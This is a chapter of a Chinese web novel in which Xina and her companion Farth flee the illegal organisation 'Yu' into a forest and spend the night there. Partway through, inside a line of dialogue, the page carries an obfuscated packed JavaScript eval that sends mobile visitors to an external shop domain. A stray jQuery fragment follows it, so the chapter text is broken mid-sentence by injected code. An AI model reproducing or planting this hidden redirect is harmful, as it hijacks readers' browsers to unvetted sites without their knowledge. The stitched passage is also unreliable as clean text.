2. 善良是无可救药的绝症
    小巷深处,年久失修的广告牌在黑暗的巷子中突然亮起。

    西娜吓得浑身一激灵,她的耳朵瞬间支棱起来。

    广告牌的屏幕闪烁了几下,最后出现了从监控中截取的西娜与法尔斯两个人的头像,下面正写着通缉二字。

    西娜阅读完通缉令上的内容,感觉自己的手和脚开始不听自己使唤。

    “完蛋了…完蛋了…”

    她动作僵硬地抓着自己的头发,生生扯下来好几把。麻木的神经后知后觉地传达着疼痛。她低着头,蓦然地盯着手里带血的绿发,手指颤抖着。

    “「羽」组织?通缉令?「羽」这个组织在通缉我们?”法尔斯不明所以地观察着广告牌上的内容。

    西娜的身子正在微微的发抖,它很快意识到这通缉意味着什么。

    【我好像,为她带来了很大的麻烦呢】它的神情开始恍惚。瞳孔颤动的越发的厉害。天色似乎一瞬间黑了下来,一旁破旧广告牌的影子像沼泽一般将它包裹。

    每次呼吸都用尽了它全身的力气。

    【我到底…】

    法尔斯的意识一路下沉,直到陷入深的不能再深的泥沼里。

    浓稠的泥浆灌进它的嘴巴、鼻子里…

    周围慢慢黑了下来,几束微弱的光正在慢慢熄灭。

    它没有进行任何挣扎,缓缓地闭上了自己的眼睛。

    【就这样吧。】

    “啪!”

    它忽地抬手,用力给了自己一巴掌。

    “呼…呼…呼…”法尔斯大口喘着气。

    【振作起来!】它的双拳重重地砸向了地面,用尽全力保持着清醒。

    【死定了】

    【死定了】

    【死定了】

    这种念头占据了西娜的脑海。

    同时,心中一个声音不住地呐喊着。

    【这件事情与我无关啊…与我无关啊!!!】

    【可是…法尔斯怎么办】

    她讨厌总是自讨苦吃的自己。

    或者说,自己没有死在那辆车上只是死神的疏忽罢了。

    「羽」,全世界最大的非法组织。普通人的力量根本难以抗衡,与它作对意味着死路一条。

    “西娜!西娜!”法尔斯的声音如同雨点一般轻轻地敲打着她的大脑。

    西娜斗篷上的一对金属三角挂饰随着摇晃碰撞,发出“叮”地一声。

    她清醒过来。

    法尔斯捧着她的脸,将她的视线转向它的眼睛。

    四目相对的那一刻,两个人同时下定了决心。

    “我去自首吧,这样他们应该就会放过你了。”它看着她的眼睛,似乎如此轻松地说出了这句话。

    “法尔斯…”西娜紧紧地抓住了它的手。

    善良果然是无可救药的绝症。

    不久前。

    小镇的广告控制室,刚刚袭击过西娜和法尔斯的那个粉发燕尾服少年,皱着眉,烦躁地来回踱步。

    他泄愤似的,一巴掌拍在镇长的办公桌上。

    “吱呀—”

    桌子不堪重负,两条腿当场折断。

    桌子上的所有的东西,包括那个镇长最珍爱的,还盛着温热咖啡的马克杯,全部摔了一地。

    镇长毕恭毕敬地站在门旁边,低着头,脸上流着冷汗。他给旁边的下属使了一个眼色,示意他们把咖啡清理干净。

    一旁的下属全部都死死地低着头,假装没有听见他的命令。

    “快去给灵提桠大人,不,「羽」组织的干部大人,把地板打扫干净!!!”镇长再也控制不住自己的情绪,对着身后的下属不顾形象地大吼。

    他的五官都几乎扭曲,仍然没有一人敢上前。

    “啧。”名叫灵提桠的粉发少年不满地瞪了他一眼。

    镇长的身子颤抖了一下,他腿一软,倒在地上。“干…干部大人。”

    灵提桠没有再理会他。回过头,两根手指摁在左耳的通讯器上。

    “首领大人,找不到她们了。”

    “别着急,小提。盯牢13号巷子出口处的监控,会有收获的。”通讯器的另一头传来冷静沉稳的女声。

    “遵命,首领大人!”

    【打肯定是打不过的。】

    【如果想活命的话,就只能逃了。】

    在错综复杂的森林里,凭借她的知识,长期生活也不成问题。

    【就这么办。】

    就在西娜考虑这些事情的时候,她抓着法尔斯的手一刻都没有松开,甚至越攥越紧了。

    “西…西娜小姐…”法尔斯歪了歪头,用好奇的目光看着她,“你在干什么呢?”

    “啊……”她的嘴张开之后好久都没有合上。

    “对不起啊!!!”她仿佛被惊吓到的小兔子一般松开了法尔斯的手。

    “嗯?怎么了?”法尔斯完全不明白发生了什么。

    “不…不说这个了…我们先离开这里。”西娜僵硬地把上半身转到一边。

    “哦。”法尔斯几步跑到巷口,“那走吧。”

    冰冷的摄像头对准了二人,而她们却没有丝毫察觉。

    于是两人一步三回头,从一处无人看管的城墙翻出了城。

    【幸好没有与之前袭击他们的人撞上】西娜感觉自己差不多算是捡回了一条命。

    小镇的外面就是森林了。

    两人就像差点干死的鱼回到水里一样,一头扎进了林子里。

    “刷啦”

    一个灌木丛里冒出一对毛茸茸的绿耳朵。

    西娜探出头环顾四周,确认周边的安全。

    一颗棕色的小脑袋从一旁缓缓冒出,将西娜头上的树叶一片片地捡下来。

    “快蹲下来法尔斯!”西娜一惊,情急之下直接摁住了从自己旁边探出的那颗脑袋,“你的发色太显眼了!”

    “嗯!呜呜!嗯!”法尔斯的头与大地进行了一个亲密接触。

    “不好意思啊…”西娜有些歉意地捧起法尔斯的脸,用手抹掉了它脸上的泥土,“一不小心就用力过猛了…”

    “不过…”

    “我们算成功一半了。”

    “这样就算是「羽」的那些人,估计一时半会也找不到我们了。”她强行装作一副信心满满的样子,似乎在为自己和法尔斯鼓劲。

    不过…

    【这是世界上最大的非法组织,可不是闹着玩的。】她的心中依然有一根弦,紧紧地崩着。

    “接下来我们往这边逃,逃得越远越好。”西娜伸出手,指向一个方向。

    往那边走,是大片鸟无人烟的原始森林。

    “我们往村子相反的方向走。”西娜坚定地重复了一遍。

    【不能将那些村民们牵扯进来】

    法尔斯疯狂摇晃着脑袋,甩走头上的泥土。

    它伸出舌头,一个劲地往外吐嘴里的泥土。“呸呸呸。”

    “好呐。”舌头还没有收回去,它含糊不清地回答着。

    “那我们抓紧时间。”西娜站了起来,背后的两条黄棕色围巾在法尔斯面前一晃一晃的。

    “法尔斯?”

    “大地在旋转”

    “小…小法?”

    “我好像把头晃晕了

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14182083|150644||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    …”

    今晚的森林格外安静。安静得能听见鸟儿梦中的呢喃,松鼠摩擦着它的坚果,壁虎从落叶沙沙的上爬过。

    她们走过的地方爬满蜿蜒交错的树根,脚边生长着蘑菇。

    路?

    这里是没有路的。

    西娜徒手掰开一丛阔叶植物,从一段长着鲜艳蘑菇的朽木下钻出。

    法尔斯从那株植物上掰了两片叶子下来,身体向后仰着穿过了朽木。

    一直走到月亮爬到天穹之顶。

    西娜累得近乎虚脱,眼前的场景早已模糊。

    她撩起裙子,一屁股坐在地上,揉搓着自己发酸的小腿。

    法尔斯学着西娜的样子撩起自己的围巾,挨着她坐下。

    秋天潮湿森林中的夜晚格外寒冷,而她们却不敢为自己点起一堆避寒的篝火。

    法尔斯在周围走了一圈,确认没有危险。最后把围巾一摘,回到西娜身旁坐下。

    【好累啊,听天由命吧。】西娜精疲力竭地坐在原地。

    一会过后,总算恢复了一些精力。

    她睁开眼瞟了一眼身旁的法尔斯。

    这家伙从刚开始就十分安静。

    它平静地看着对面的一棵树,不知道在想什么。西娜的目光下移,最后停留在对方脖子上的绷带。

    “对了,把绷带拆了让我看看伤口怎么样了。”

    这是一个多月前的伤口了。不知道为什么,至今未能痊愈。

    法尔斯摸索着,尝试解开包扎时留下的结。可是结打得太死了,它胡乱折腾了好几下都没能解开。于是它索性扯出一段绷带拉到嘴边。

    它用力咬了几下,绷带很快不堪重负地断开了。

    西娜凑过来,手指轻轻拂过脖子上狰狞的伤口。

    法尔斯强行忍住了把头扭开的冲动。【好痒。】

    “已经开始结痂了…不过留疤是避免不了的,以后如果要带围巾的话都得缠着绷带了,不然伤口会被勾到的。”

    “嘶。” 光是想象刚结好的痂被线勾得整块掀起,法尔斯就倒吸一口凉气。

    “哈哈哈。”西娜看着对方的反应,笑了出来。

    就像是被坏姐姐的鬼故事吓坏的小孩儿。

    黑紫色的天幕上睁开了几颗闪亮的小眼睛。

    西娜戳了戳法尔斯的脸蛋。

    “拉我一把。”

    呆头呆脑的小仓鼠转过身,眨巴了几下眼睛。

    “哦。”

    西娜在附近转了一圈,回来时手上便多了一捧野果。

    与刚离开时不同,法尔斯压倒了那些矮小的植被,拿出两片宽大的阔叶在地上铺好。

    “挺能干的嘛。”西娜将野果放在两片叶子中间。

    法尔斯低下头,用嘴随便叼起一个。

    黑黑的,长得和章鱼一样的怪果子。

    西娜费劲地咽下一口果子。

    “核不能吃。”她叮嘱道。

    法尔斯粗粗嚼了几下,伸出麻掉的舌头。

    西娜又拿起一个果子,“没办法,现在没得挑。”

    吃完野果,法尔斯把围巾随手揉成一团,往叶子上一扔。

    西娜也摘下自己的围巾,叠成一条整整齐齐的长方形,铺在叶子上。

    她和法尔斯背对背躺下,凹凸不平的地面硌得她生疼。她看着睡得正香的法尔斯。

    【有些羡慕那只傻仓鼠了。】

    她翻了个身,面朝着天空。

    “还真是漂亮啊。”

    法尔斯背对着她,睁着眼睛。

    【怎么可能睡得着啊。】